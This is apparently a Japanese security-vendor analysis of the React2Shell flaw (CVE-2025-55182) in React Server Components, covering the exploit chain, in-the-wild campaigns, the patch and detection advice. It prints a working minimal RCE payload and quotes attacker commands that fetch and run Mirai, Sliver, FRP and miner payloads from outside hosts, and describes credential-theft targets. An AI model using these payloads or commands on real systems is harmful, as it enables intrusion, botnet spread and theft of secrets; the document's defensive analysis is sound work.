エクスプロイト&脆弱性
React2Shell「CVE-2025-55182」の分析、PoCを巡る混乱と悪用の広がり
脆弱性「CVE-2025-55182」は、React Server Components に影響する、CVSS 10.0の事前認証型リモートコード実行の脆弱性です。多数に及ぶ偽の概念実証(PoC:Proof-of-Concept)、スキャナー、攻撃コード、誤解があふれる状況の中で、本稿ではこれらの実態について解説します。
- この攻撃はJavaScriptのダックタイピングと動的コード実行の特性を利用するもので、4つの段階を踏みます。自己参照ループの生成、JavaScriptに攻撃者コードを呼び出させる誘導、初期化用の不正データ注入、Blob Handlerを介した任意コード実行という流れになります。
- 現時点で、実環境で約145件のPoCベースの攻撃コードが確認されています。品質はさまざまで、WAF回避や自動スキャンといった機能を備えたものも含まれています。
- トレンドマイクロの調査では、CVE-2025-55182がすでに悪用されており、emeraldやnutsを含む複数のマルウェアキャンペーンで利用されています。Cross C2で生成されたCobalt Strikeビーコンの実行、Nezha、Fast Reverse Proxy(FRP)、Sliverペイロード、Secret-Hunterペイロードの展開などが観測されています。
- トレンドマイクロの調査では、パッチ状況や概念実証(PoC: Proof of Concept)の動向を整理し、React2Shellに関する誤解を修正する情報を提供しています。防御が機能しない構成を避けるうえで重要な点に加えて、CVE-2025-55182に関する不安や誤情報の拡散を抑えることを意図しています。公開されたインフラやウェブサイトに対し、バグバウンティハンター(脆弱性を探索する調査者)による集中的なスキャンが行われる可能性を想定する必要もあります。
- Trend Vision Oneは、本稿で紹介した侵入の痕跡(Indicators of Compromise: IoC)を検出し攻撃を阻止します。トレンドマイクロのお客様は、攻撃者の挙動を理解してプロアクティブに備えるためのハンティングクエリ、スレット(脅威)インサイト、インテリジェンスレポートを利用できます。
トレンドマイクロのお客様は、利用可能な対策や緩和方法について、ナレッジベースの記事を参照できます。
https://success.trendmicro.com/en-US/solution/KA-0021831
はじめに
脆弱性「CVE-2025-55182」について前回の記事では、企業や組織が把握すべき内容をまとめています。この脆弱性はすでに悪用されており、React.js、Next.jsなどの関連フレームワークで利用されるReact Server Components(RSC)に影響を与える重大な事前認証型リモートコード実行脆弱性(CVSS 10.0)です。
RSCは、UIコンポーネントをブラウザではなくサーバ側で実行する仕組みで、クライアントに送信するJavaScriptを減らす設計となっています。
RSCはクライアントとサーバの間で「React Flight」と呼ばれるシリアライズ方式を使って通信します。この方式は、Reactコンポーネントツリーを反映した複雑なデータ構造をストリーミングする仕組みを持ち、バックエンドの応答を待ちながら段階的にUIを描画できるようにします。これらをまとめてRSCペイロードと呼ぶことができます。HTTP上でのRPCのような仕組みと考えると分かりやすく、クライアントはシリアライズされたデータの「チャンク」をサーバ関数に送信します。
RSCアプリでユーザがフォームを送信すると、ブラウザはフォームデータを番号付きのチャンクとしてまとめ、互いを参照し合う構造にします。サーバ側はこれらのチャンクを再構成し、ユーザが何を要求したのかを理解します。
# Example: User profile update sent as Flight chunks
form_data = {
"0": (None, '["$1"]'), # Entry point → load chunk 1
"1": (None, '{"action":"updateProfile","user":"$2"}'), # Action → load user from chunk 2
"2": (None, '{"userId":42,"email":"user@example.com"}'), # Actual user data
}
# Server processes: chunk 0 → chunk 1 → chunk 2, assembling the complete request
「Flight」はさまざまなデータ型を表現するために、「$X」という特別なプレフィックスを使用します。脆弱性はこの部分に存在します。問題は、サーバがクライアントから受け取ったデータを逆シリアル化する処理に影響します。攻撃者は不正なデータを送り込み、認証が行われる前にサーバ側で任意のコードを実行できる状態を作り出します。
RSCがクライアントからのデータを受け取る際には、「このオブジェクトのプロパティは実際にそのオブジェクト固有のものか、それともJavaScriptの組み込みプロトタイプから継承されたものか」を確認する必要があります。脆弱なコードは、この確認を信頼できないオブジェクト自身に問い合わせていました。侵入者に「あなたはこの家にいるべき人ですか」と尋ねるような状態です。
脆弱性はReactの「ReactFlightReplyServer.js」内にあるreviveModel関数に存在します。参照解決のためにチャンクをたどる処理の中で、参照されるキーがオブジェクト自身のプロパティか、あるいは継承されたプロトタイプのプロパティなのかをReactが正しく判別できていませんでした。問題のあるコードパスは次に示すとおりです。
for (i in value)
value.hasOwnProperty(i) &&
JavaScriptでは、すべてのオブジェクトが「Object.prototype」を継承しており、「hasOwnProperty」、「constructor」、「toString」といったメソッドを含みます。通常は安全に扱われますが、値を攻撃者が制御できる状況では、hasOwnPropertyを不正な処理に置き換えることが可能となり、セキュリティチェックを完全に回避できます。
問題となった箇所は、「value.hasOwnProperty(i)」が信頼されていない値オブジェクトに対してメソッド検索を行う点にあります。攻撃者が用意したペイロードは、このプロパティを悪意ある参照で上書きし、所有権チェックを素通りさせることができます。この挙動により、「constructor」や「__proto__」といったプロトタイプチェーン上のプロパティへのアクセスが可能になりました。
このエクスプロイトは複数の鍵が順に開けられていくような流れで成立しました。攻撃チェーンの各段階が、攻撃者を任意コード実行へ一歩ずつ近づける仕組みになっていました。次のセクションでは、それぞれの「鍵」がどのように開けられたのかを説明します。
React2Shellの攻撃チェーン
このエクスプロイトは、JavaScriptのダックタイピングと動的コード実行の特性を利用し、4つの段階から成る攻撃手法となっています。このチェーンは、他の研究者によってGitHub上で個別に整理されており、内容はこちらとこちらから確認できます。
Stage 1: 自己参照ループの生成
チャンク同士を自己参照させることでJavaScriptの内部オブジェクトにアクセスするために、$@プレフィックスは解析済みの値ではなく生のチャンクオブジェクトを返します。チャンク1が「チャンク0の生のオブジェクトを取得する」($@0)と指示し、チャンク0がチャンク1を参照すると、循環構造が成立します。
attack_payload = {
"0": '{"callback": "$1:__proto__:then"}', # Chunk 0 reaches into chunk 1's prototype
"1": '"$@0"',
}
「$1:__porto__:constructor:constructor」という参照をたどることで、攻撃者はJavaScriptのプロトタイプチェーンを上方向に進むことができます。チャンク1 → Object.prototype → Objectコンストラクタ → Functionコンストラクタという流れです。この到達によって、任意の関数を生成できる状態になります。
Stage 2: JavaScriptに攻撃者コードを呼び出させる
JavaScriptに攻撃者が制御するコードを自動的に実行させるために、JavaScriptのawaitキーワードは「.then()」メソッドを持つオブジェクトを検出すると自動的にそれを呼び出します。攻撃者は「then」をReact内部の「Chunk.prototype.then」に向けることで、この仕組みを乗っ取ります。
Reactがこの不正なチャンクを処理する際、thenプロパティを確認すると「Promise」のように扱います。React内部のコードは「initializeModelChunk()」を呼び出し、次のステップに進みます。
Stage 3: 初期化のための不正データ注入
Reactのコード初期化処理に攻撃者のペイロードを流し込むために、「resolved_model」というステータスが設定されます。この状態が設定されるとReactは「.value」フィールドを解析し、処理を行います。攻撃者はこの部分に自分のペイロードを置きます。
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(chunk.value);
}
Reactは「status」フィールドを信頼します。「status」が「resolved_model」と示されている場合、Reactはチャンクが準備済みと判断し、その内容を解析します。ここには不正な参照が含まれています。
Stage 4: Blobハンドラを介した任意コード実行
参照の解決を実際のコード実行に変えるために、「$B」プレフィックスはReactのBlobハンドラを起動し、制御可能なオブジェクトに対して「.get()」メソッドを呼び出します。攻撃者は「_formData.get」を「Function」コンストラクタに向けます。
case "B":
return response._formData.get(response._prefix + obj);
攻撃者はペイロードを調整し、この呼び出しが次のような形になります。
Function("require('child_process').execSync('id');//0")()
Reactは文字列の末尾にチャンクIDを追加しますが、「//」がJavaScriptのコメントとして扱われるため、その後ろは無視されます。サーバは攻撃者のシェルコマンド(id、wget、その他任意のコマンド)を「Node.js」の完全な権限で実行する状態になります。
最小限のエクスプロイト
このセクションでは、複雑な準備を必要とせず、単一のHTTPリクエストだけで悪用が成立することを示します。
完全なペイロードは「_proto_」へのアクセスを必要としません(広く出回っているPoCベースの攻撃コードの多くが使用している手法とは異なります)。
{
0: {
status: "resolved_model",
reason: -1,
_response: {
_prefix: "console.log('RCE')//",
_formData: { get: "$1:then:constructor" },
},
then: "$1:then",
value: '{"then":"$B"}',
},
1: "$@0",
}
- 「$1:then:constructor」パスの仕組み:
- $1 → チャンク1へ移動します(チャンク1はチャンク0を参照しています)
- :then → thenプロパティ(関数)にアクセスします
- :constructor → その関数のconstructorを取得します → Function
「then」は関数であるため、その「.constructor」は「Function」そのものになります。これは任意のコードを作成し実行できるJavaScriptの組み込みコンストラクタです。
事前認証段階でのアタックサーフェス(攻撃対象領域)
この脆弱性が非常に深刻といえる理由は、サーバアクションの検証が行われる前、逆シリアル化の段階で悪用が成立する点にあります。Next-Actionヘッダーの値を任意に設定するだけで(「Next-Action: foo」のような内容でも)、脆弱なコードパスが実行されます。Facebookのセキュリティアドバイザリによると、影響は次のとおりです。
- 事前認証RCE: 資格情報は不要
- Node.jsコンテキストでの実行: process、child_process、filesystemへのフルアクセス
- 環境変数の取得: データベース認証情報、APIキー、シークレット
- 水平移動・内部活動: クラウドメタデータエンドポイント、内部ネットワークへのアクセス
トレンドマイクロのテレメトリによると、2025年12月5日から12月8日にかけて、攻撃試行が顕著に増加しました。脆弱性の公開から24時間以内に複数の異なるキャンペーンが出現しています。コミュニティ主導のペネトレーションテストも大幅に増加しており、正当なPoCと不正確なPoCの双方を含むNucleiテンプレートの使用が拡大しています。また、MiraiやRondoなど、CVE-2025-55182を活用するマルウェアボットネットの増加も確認されています。
emeraldとnutsの攻撃キャンペーン
両キャンペーンは特定の対象に絞られたものではなく、機会的な攻撃と考えられます。クラウド基盤(Vercel、AWS、GCP)に対するスキャンが大量に行われており、地域や業種に特化した狙いは見られません。スキャナーを用いた自動化された大規模な攻撃も確認されています。両キャンペーンはいずれも主にx86アーキテクチャを標的としています。キャンペーン名は、使用されていたURLの一部に基づいて命名しています。
emerald
共有ホスティングからカスタムボットのバイナリをダウンロードして実行するRCEペイロードが確認されました。
process.mainModule.require('child_process').execSync(
'cd /tmp; wget hxxp://gfxnick[.]emerald[.]usbx[.]me/bot; chmod 777 bot; ./bot...'
このキャンペーンは「usbx.me」の共有ホスティング基盤を利用してカスタムボットのバイナリを配信しており、高度な攻撃者ではない可能性が示唆されます。
nuts
「reactOnMynuts」という固有識別子を持つMirai亜種をダウンロードして実行するRCEペイロードが確認されました。
process.mainModule.require('child_process').execSync(
'(cd /dev;busybox wget hxxp://193[.]34[.]213[.]150/nuts/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q hxxp://193[.]34[.]213[.]150/nuts/bolts -O-|sh)'
別の手法として、シェルスクリプト経由でMirai亜種をダウンロードする方式も利用されています。
curl -s hxxp://193[.]34[.]213[.]150/nuts[.]sh | bash
このキャンペーンはMiraiベースのボットネット亜種を展開しており、複数のダウンロードおよび実行手法を組み合わせています。「reactOnMynuts」という識別子は、追跡またはコマンド実行の目的で使用されていると考えられます。
Cobalt Strikeビーコン
Linuxホストの一部で、攻撃者が脆弱性を悪用し、CrossC2で生成されたCobalt Strikeビーコンを実行する事例が確認されました。CrossC2はCobalt Strike向けにクロスプラットフォームのペイロードを生成するツールです。
攻撃の初動として、攻撃者はC&Cサーバ(154.89.152[.]240)からbashスクリプトを取得するために「curl」を使用しています。bashスクリプトは実行ファイルであるCobeaconをダウンロードして実行し、永続化のために「systemd」サービスを作成します。このサービスは「Rsyslog AV Agent Service」と名乗っています。スクリプトにはAIが生成した可能性のあるコードパターンが見られ、中国語の区切り線付きコメントや、明らかに説明不要な内容を詳細に解説するコメント、さらに中国語の記述と英語の変数名が混在するなど、AI翻訳/生成でよく見られる特徴があります。
検証ロジックにはさらにAI生成コードの兆候が確認できます。攻撃者がAIにSHA-256チェックを付け加えるよう依頼した形跡がありますが、実行フローの再構成が行われていないため、ハッシュ検証が実行前ではなく実行後に行われています。また、SHA256_64とSHA256_32の値が空のまま残されており、中国語のコメントに「例: abcdef1234…」と記載されていることから、置き換えられなかったプレースホルダーであると推測されます。
最終的に、ビーコンは「/usr/local/rsyslo(root権限がある場合)」または「$HOME/.rsyslo」に配置されます。
Nezha監視ツール
攻撃者がNezhaを展開している事例も確認しています。Nezhaは中国発のオープンソースサーバ監視プラットフォームで、攻撃者はGitHubからインストーラを取得し、次のコマンドで実行しています。
/bin/sh -c curl -L https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.sh -o agent.sh && chmod +x agent.sh && env NZ_SERVER=107.174.123.91:11451 NZ_TLS=false NZ_CLIENT_SECRET=[REDACTED] ./agent.sh
このワンライナーはインストーラをダウンロードし、実行可能にし、以下の設定で起動します。
- NZ_SERVER=107.174.123[.]91:11451. エージェントが接続するコントローラーのアドレスとポート
- NZ_TLS=false. トランスポート暗号化を無効化(通信が平文で送信される)
- NZ_CLIENT_SECRET. ホストをコントローラーに紐づける登録トークン
インストーラは通常、エージェントのバイナリを配置し、永続化のためのシステムサービス(「nezha-agent.service」など)を登録します。これにより、ホストは長期間にわたりコントローラーへの外向き接続を維持します。エージェントはCPU、メモリ、ディスク、稼働時間、ネットワーク統計、さらに「healthcheck」の結果などを定期的に送信します。
Nezha自体は本来無害なツールですが、このケースでは隠密なインストール、直接IPの使用、TLSの無効化、あらかじめ設定されたシークレットが用いられている点から、正規の監視ではなく、監視と継続的な可視化を目的として展開された可能性が高いと考えられます。
Huntressは以前から、中国関連の脅威アクターによるNezhaの利用を観測しています。Huntressの公開情報によると、これらのアクターは公開Webアプリケーションを悪用し、Webサイトの改ざん、初期アクセスの獲得、標的型攻撃などの目的でNezhaを使用するケースがあります。ただし今回の侵害に関して、最終的な目的を特定できるだけの十分な証拠は得られていません。
高速リバースプロキシ(Fast reverse proxy)
別の試行として、攻撃者はFRP(Fast Reverse Proxy)と呼ばれるツールの展開を試みています。このケースでは、攻撃者が次のコマンドを実行した時点から感染が開始されました。
wget -qO- hxxp://38.165.44[.]205/s | sh.
このスクリプトは、正規のNTPクライアントを装う「ntpclient」というバイナリを「hxxp://38.165.44[.]205/1」からダウンロードして実行し、設定ファイルも同様に取得します。実行時の出力はすべて抑制され、バックグラウンドで動作します。また、永続化を確立するために複数のレイヤーで仕込みを行います。root権限がある場合はsystemdサービス、「crontab @reboot」ジョブ、さらに「.bashrc」や「.zshrc」といったシェルのRCファイルへコマンドを挿入します。
スクリプトは開始前に既存の同名プロセスを停止し、ダウンロードしたファイルに適切な権限を付与し、「systemd-utils」や「System Utils Service」といった紛らわしい名称を使用して、正規のシステムコンポーネントのように見せかけています。
Sliver C&C
攻撃者はReact2Shell脆弱性を悪用し、SliverペイロードをLinuxホストに展開する手法も確認されています。あるケースでは、脆弱性の悪用後、攻撃者がC&CサーバからSliverペイロードを取得するために次のコマンドを使用しました。永続化を図るため、このファイルは「/root/.rtos」、「/dev/shm/rtos」、「/tmp/rtos」の3か所に保存されています。
curl -vk hxxps://216.238.68[.]169/ReactOS -o /root/.rtos
この活動に続いて、base64でエンコードされたコマンドが実行され、「78.153.140[.]16/re.sh」にホストされたスクリプトをダウンロードして実行しました。このスクリプトは競合するマルウェアや正規のプロセスを停止し、暗号通貨マイナーとKINSINGを「78.153.140[.]16」から取得して実行します。さらに、systemdサービスやcronジョブを利用して永続化を確保し、bash履歴を削除して痕跡を隠そうとします。
このスクリプトは、マイニングの妨げとなる可能性のあるプロセス(他のマイナーやセキュリティツールを含む)を集中的に標的とします。また、root権限の有無に応じて、「/etc」、「/tmp」、「/var/tmp」、「/dev/shm」といった複数のパスへインストールを試みます。
攻撃者が制御を維持するために、既存のcronジョブを削除し、「80.64.16[.]241」から毎分ペイロードを再ダウンロードさせる独自のジョブを設定します。さらに、防火壁()を無効化し、ファイルのimmutabilityフラグを除去し、「/etc/ld.so.preload」を介してKINSINGによる不正な共有ライブラリ「libsystem.so」をプリロードし、より深いレベルでシステムにフックしようとします。
Go製バックドア
複数の顧客環境で、Go言語で書かれた不審なバックドアが確認されました。主要な悪意ある機能として、「pty」ライブラリを用いたリバースシェルの提供、ネットワーク横移動のためのSOCKS5プロキシとしての動作、システム偵察の実行が挙げられます。C&CサーバとはHTTP POSTリクエストで通信し、活動を隠す目的でシェル履歴の削除を試みます。ハードコードされたRSA公開鍵が存在し、C&C通信で非対称暗号が利用されている可能性が示唆されます。このバックドアは_45.76.155[.]14_でホストされ、C&Cサーバとして「api[.]qtss[.]cc」を使用していました。
Windowsに対する攻撃試行
スレット(脅威)ハンティングの過程で、Windowsデバイスを対象とした攻撃試行が確認されました。多くの場合、実際にはスキャン行為に近く、コマンドはUnix/Linuxホストを対象とした暗号通貨マイナーの展開を目的としたものでした。
Moneroマイナーの展開に成功したケースでは、攻撃者がReact2Shell脆弱性を悪用し、PowerShell経由でbase64エンコードされたコマンドを実行していました。復号されたコマンドは次のとおりです。
$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.bat', $tempfile); & $tempfile [REDACTED]; Remove-Item -Force $tempfile
ただし、少なくとも2件の事例では、攻撃が成功し、不審なDLLの展開に至ったことが確認されています。攻撃者は「curl」を使用してC&Cサーバ「2[.]56.176.35:443」に接続し、「healthcheck.dll」というファイルをダウンロードし、ステージングディレクトリ「C:\Users\Public\Documents」に保存しました。その前段として、「whoami」などの調査コマンドを実行し、Microsoft Defenderの設定を収集し、除外設定を構成しています。残念ながら、このDLLは分析用に取得できませんでした。
「Secret-Hunter」ペイロード
攻撃者はCVE-2025-55182を用いてRCEを達成すると、永続化の確立やデータ窃取を進めようとします。この過程で確認された特定の「Node.js」ペイロードについても分析を行いました。このスクリプトは特徴的で、サーバを侵害する目的でセキュリティ監査ツールのインストールを自動化する仕組みを備えています。
Cloudflareトンネル経由のC&C
このスクリプトはCloudflare Tunnels(trycloudflare.com)を利用し、ファイアウォールのアウトバウンド制御を回避します。
- 観測されたC2エンドポイント:
hxxps[://]conclusion-ideas-cover-customise[.]trycloudflare[.]com - メカニズム: データをクリーニングし、JSONシリアライズしたうえで、このエンドポイントにPOSTします。
TruffleHogとGitleaksの武器化
このペイロードで最も特異な点はこの部分です。独自の正規表現だけに頼るのではなく、業界標準のシークレットスキャンツールをダウンロードしてインストールします。
- TruffleHog: 公式インストールスクリプト、GitHubリリースからの直接バイナリ取得、brew、pipなど複数の方法でTruffleHogの導入を試みます。
- Gitleaks: TruffleHogの導入に失敗した場合、代替としてGitleaksのインストールを行います。
インストール後、攻撃者はこれらのツールを侵害されたサーバのファイルシステムに対して実行します。対象は次のとおりです。
- Gitリポジトリ: コミット履歴に埋もれたシークレットのスキャン
- Dockerイメージ: ローカルコンテナレイヤーの解析
- S3バケット: 発見したAWS認証情報を利用し、ホストからアクセス可能なS3バケットを列挙してスキャン
- ディレクトリ: /tmp、/var/www、/opt、/etc およびユーザのホームディレクトリ
クラウドメタデータ収集
スクリプトはクラウドインスタンスのメタデータサービス(IMDS)を対象に、短期認証情報の窃取を積極的に試みます。問い合わせ対象は次のとおりです。
- AWS:
http://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ - GCP:
http://metadata.google.internal/computeMetadata/v1/ - Azure、DigitalOcean: 各サービスのメタデータエンドポイント
発見されたIAMロールを順に処理し、AccessKeyId、SecretAccessKey、Tokenを取得します。
ターゲット型ファイル流出
マルウェアには100件以上の機密性の高いファイルパス(commonSensitiveFilesおよびsystemSensitiveFiles)がハードコードされており、特に次の種類のファイルを探索します。
- SSH鍵: id_rsa、known_hosts
- クラウド設定: .aws/credentials、.kube/config、.azure/accessTokens.json
- シェル履歴: .bash_history、.zsh_history(パスワードが貼り付けられている場合がある)
- CI/CD設定: GitHub Workflows、GitLab CIファイル
追加ペイロード
このスクリプトは後続ステージのドロッパーとして動作し、次の場所からシェルスクリプトの取得を試みます。
- ドメイン:
proxy1[.]ip2worlds[.]vip - IPFSゲートウェイ:
bafybeic6wxbl5h5adfuuh5r7n5vdbjwiy4w7zw42yb3tclutq6lscyefcm[.]ipfs[.]dweb[.]link
攻撃発生のタイムライン
このセクションでは、CVE-2025-55182が公開されてからの経緯と、その後に観測および報告された実環境での悪用について整理しています。このタイムラインはCISA KEV、OpenWall disclosure、トレンドマイクロのテレメトリに基づいて構築しました。
- Commit:
bbed0b0ee64b89353a40d6313037bbc80221bc3d - Author: Sebastian Markbåge(@sebmarkbage)
- Committer: Sebastian Silbermann(@eps1lon)
- Date: 2025-12-03
コア修正
脆弱箇所(Vulnerable Location):
ReactFlightReplyServer.js:929-933
修正では、モジュール読み込み時に元の「hasOwnProperty」メソッドへの参照をキャッシュしています。
hasOwnProperty = Object.prototype.hasOwnProperty,
その後、逆シリアル化の処理全体で「.call()」構文を使用します。
function reviveModel(value) {
for (i in value)
- value.hasOwnProperty(i) &&
+ hasOwnProperty.call(value, i) &&
// ... process property
}
脆弱なパターンである「value.hasOwnProperty(i)」は、信頼されていないvalueオブジェクト上でメソッド検索を行います。攻撃者がvalueを制御できる場合、「hasOwnProperty」プロパティを任意の値で上書きすることができ、「Function」コンストラクタへの参照に置き換えることさえ可能になります。
修正が有効な理由は次のとおりです。
- Captured reference:「hasOwnProperty」変数には、信頼されていないデータが処理される前の段階で、「Object.prototype.hasOwnProperty」が格納されます。
- .call() invocation:「.call(value, key)」を使用することで、どの関数を実行するか明示的に指定し、プロパティ検索を完全に避けることができます。
- Immutable binding:逆シリアル化されたペイロードからは、モジュールレベルの変数を改変できません。
この方法は、MDNで説明されている標準的な防御パターンに該当します。
// UNSAFE - attacker can shadow hasOwnProperty
obj.hasOwnProperty('key')
// SAFE - uses original prototype method
Object.prototype.hasOwnProperty.call(obj, 'key')
// ALSO SAFE - modern alternative (ES2022)
Object.hasOwn(obj, 'key')
protoプロパティの明示的処理
パッチでは、コンパイル後コードの4619行目で「__proto__」プロパティの明示的処理も追加されています。
void 0 !== parentObj || "__proto__" === i
? (value[i] = parentObj)
: delete value[i]
これにより、「__proto__」がオブジェクト自身のプロパティとして現れた場合(「JSON.parse」では可能)、それが明示的に処理され、「Object.prototype」に影響を与えないよう保証されます。
多層防御策
コア修正に加えて、修正版には複数の追加的な防御レイヤーが組み込まれています。
サーバモジュールマップのProxy(action-utils.js:27–37)
サーバアクションのマニフェストでは、プロトタイプキーに対して安全にundefinedを返すProxyが使用されています。
function createServerModuleMap({ serverActionsManifest }) {
return new Proxy({}, {
get: (_, id) => {
const workers = serverActionsManifest['node']?.[id]?.workers;
if (!workers) {
return undefined; // Safe default for unknown keys
}
// ...
}
});
}
AES-256-GCM暗号化(encryption-utils.js)
サーバアクションのバインド引数は暗号化されており、アクションIDのプレフィックス検証が行われます。
if (!decrypted.startsWith(actionId)) {
throw new Error('Invalid Server Action payload: failed to decrypt.');
}
クライアント側のプロトタイプ検証
クライアントはシリアル化前にオブジェクトのプロトタイプを検証します(614–626行)。
parentReference = getPrototypeOf(value);
if (
parentReference !== ObjectPrototype &&
(null === parentReference ||
null !== getPrototypeOf(parentReference))
) {
throw Error("Only plain objects, and a few built-ins, can be passed to Server Functions...");
}
セキュアなデータ構造
内部ストレージには、プロトタイプ汚染の影響を受けないES6コレクションが使用されています。チャンク保存には「Map」、書き込み済みオブジェクトには「WeakMap」、フォーム処理には「FormData」が用いられています。
修正されたバージョン
出典: Next.js Releases, React Releases
ペネトレーションテスト
Nucleiテンプレート、自作スキャナー、PoC、各種エクスプロイトが広く使われる状況の中で、トレンドマイクロの調査では、多数のバグ報奨金ハンターが脆弱なReactアプリケーションを探して大規模スキャンを実行している様子が確認されました。
企業は、インターネットからアクセス可能なインフラやウェブサイトなどに対して、集中的なスキャンが行われる状況を想定し、準備する必要があります。
PoC状況分析
実環境で確認された概念実証(PoC: Proof of Concept)は約145件存在します。ただし品質にはばらつきがあり、多くはReact2Shell脆弱性そのものを実際には引き起こしません。
これらのPoCは次のような要素を利用するケースが多く見られます。
- GUIを備えたスキャナーツール
- マルチスレッドのバッチスキャナー
- WAF回避手法
防御側としては、近い将来および今後も、機会的なスキャナーによる大規模スキャンが自組織ネットワークに対して行われる前提で準備を進める必要があります。
こちらの表5は、トレンドマイクロの研究者およびサイバーセキュリティコミュニティによって有効性が確認されており、ターゲットを絞ったペネトレーションテストに利用できます。
偽PoCおよびバックドア付きPoCへの警告
CVE-2025-55182向けのスキャナーを実行する前に、セキュリティチームは必ずこのセクションにある「検証済みの正当なPoC一覧」で照合することが推奨されます。偽のツールはマルウェア拡散に悪用される可能性があり、次のような事態を引き起こす、または誘発します。
- 誤った安全性認識:偽スキャナーが「非脆弱」と誤判定し、実際には脆弱なままになる
- 認証情報の窃取:多くの偽ツールはAPIキーやクラウド認証情報、ターゲットリストを収集する
- サプライチェーン攻撃:バックドア付きツールがスキャン基盤に永続化を仕込む
- 攻撃者による偵察:ユーザのターゲットリストが攻撃者のターゲットリストに変わる
- 時間の浪費。防御側が動作しないツールに時間を費やしている間に、実際の悪用が進行する
検証済み・正当なPoC一覧としてこちらの表6を参照ください。
トラフィック分析
このセクションでは、すぐに導入可能な検知ルールを示します。Snort/SuricataおよびSigmaのルールは、そのままSIEM/IDSにコピーして利用できます。侵入の痕跡(Indicators of Compromise: IoC)パターン表では、ログ中で注視すべきポイントを明確に示しています。
ペイロード構造
悪用トラフィックは次のパターンに従います(lachlan2k PoCを基にしています)。
POST /api/actions/vulnerable-endpoint HTTP/1.1
Host: target[.]example[.]com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Next-Action: abc123def456
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1_$ACTION_ID_abc123"
["$@1",{"1":"$@2","2":"$@3"}]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
CVE-2025-55182: IOCパターン
誤解1: 「これはプロトタイプ汚染の脆弱性である」
この理解は単純化しすぎており、誤った防御策につながる恐れがあります。
公開されているPoCの多くは 「__proto__」を利用していますが、これは「Function」コンストラクタへアクセスするための経路の一つにすぎません。実際の問題は、「Object」プロトタイプに属する「constructor」のようなJavaScriptプロパティに、不正なチャンク経由でアクセスできてしまう点にあります。
両者の違いは重要です。
- プロトタイプ汚染(厳密な定義):「global Object.prototype*」に悪意あるプロパティを注入し、実行時のあらゆるJSオブジェクトを汚染する手法。この攻撃は通常、「__proto__」や「prototype」といった特定プロパティへのアクセスを必要とします。
- 今回の脆弱性:すべてのオブジェクトが継承しているプロトタイプチェーン上のプロパティ「constructor, then*」を、チャンク参照によってたどれる点に問題があります。
特に重要なのは、最小限の悪用ペイロードでは 「__proto__」 や「prototype」が不要であるという事実です。
したがって、WAFでこれらのキーワードをブラックリスト登録しても、防御にはなりません。
maple3142の最小ペイロードがこの点を示しています。このペイロードは「__proto__」を使用せず、次のように 「$1:then:constructor」を用いています。
// Source: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
{
_formData: { get: "$1:then:constructor" },
then: "$1:then"
}
誤解2: 「影響を受けるのはNext.jsだけである」
React Security Advisoryにもあるように、脆弱性はReactのコアであるFlightプロトコル関連パッケージに存在します。
- react-server-dom-webpack
- react-server-dom-turbopack
- react-server-dom-parcel
React Server Componentsを利用するあらゆるフレームワークが影響を受ける可能性があり、独自実装も例外ではありません。
誤解3:「__proto__」をWAFでブロックすれば防げる」
先述の通り、最小限の悪用ペイロードは「__proto__」を必要としません。WAFをすり抜ける手法も多数確認されています。
効果的なWAFルールでは次の項目をブロックする必要があります。
- $@ チャンク参照
- resolved_model 文字列
- constructor:constructor パターン
- _formData.get パターン
誤解4:「Edge Runtimeも脆弱である」
Vercelドキュメントによると、この脆弱性は「Node.js」ランタイムを前提としています。Edge Runtime(Cloudflare Workers、Vercel Edge)はV8 isolatesを使用し、「process」、「child_process」、その他Node.js APIへのアクセスがありません。Edge Runtimeのみで稼働しているアプリケーションは、この攻撃ベクトルでは悪用不可能です。
誤解5:「Reactのパッチ適用だけで十分である」
この理解は部分的に正しいものの、十分ではありません。Reactをパッチすることで根本原因は解消されますが、組織として次の対応も必要になります。
- Server Actionがどの程度露出しているかの監査
- レートリミットの導入
- 多層防御としてのWAFルール追加
- 過去の悪用を確認するログ調査
- 機微なエンドポイントをEdge Runtimeへ移行する検討
- App Routerを利用したReact Server Componentsを含むアプリケーションは、以下のNext.jsバージョンで影響を受けます。
- Next.js 15.x
- Next.js 16.x
- Next.js 14.3.0-canary.77 以降のcanaryリリース
- react-server-dom-webpack
- 19.0.0
- 19.1.0 – 19.1.1
- 19.2.0
- react-server-dom-parcel
- 19.0.0
- 19.1.0 – 19.1.1
- 19.2.0
- react-server-dom-turbopack
- 19.0.0
- 19.1.0 – 19.1.1
- 19.2.0
- 即時対応:
- CVE-2025-55182の影響を受けるため、修正版(Next.js >= 15.1.3、React >= 19.0.0)へアップグレードする
- セクション6の検知ルールを適用する
- セクション3にあるIOCを基にインフラを確認する
- セクション5にある通り、使用前に「セキュリティツール」を必ず検証する
- 長期的な検討事項:
- すべてのServer Actionエンドポイントの監査
- 攻撃対象領域を最小化するためEdge Runtimeの利用を検討する
- __proto__ブロッキングに限定しない、適切なWAFルールによる多層防御
- 新たなPoCバリエーションの継続的監視
- Kelly Lee
- Ayman Ben-naceur
さらに、この2週間にわたり貴重な知見を提供してくださった広範なサイバーセキュリティコミュニティの皆様にも御礼申し上げます。React2Shellが生んだ活発な議論は、Log4Jの例に匹敵するものであり、この業界で働く意義を改めて感じさせます。
最後に、React2Shellの発見、適切な情報公開プロセス、CVE-2025-55182に関する迅速な更新を続けてくださったLachlan Davidson氏に特別な謝意を表します。
Trend Vision One™によるプロアクティブセキュリティ
Trend Vision One™は、AIを活用した唯一のエンタープライズ向けサイバーセキュリティプラットフォームであり、サイバーリスクの可視化とセキュリティオペレーションを統合し、オンプレミス、ハイブリッド、マルチクラウド環境全体に対して強固な多層防御を提供します。
脆弱性悪用からお客様を保護するために利用可能なトレンドマイクロのソリューションに関する情報は、こちらのナレッジベースで確認できます。
Trend Vision One™ のスレットインテリジェンス
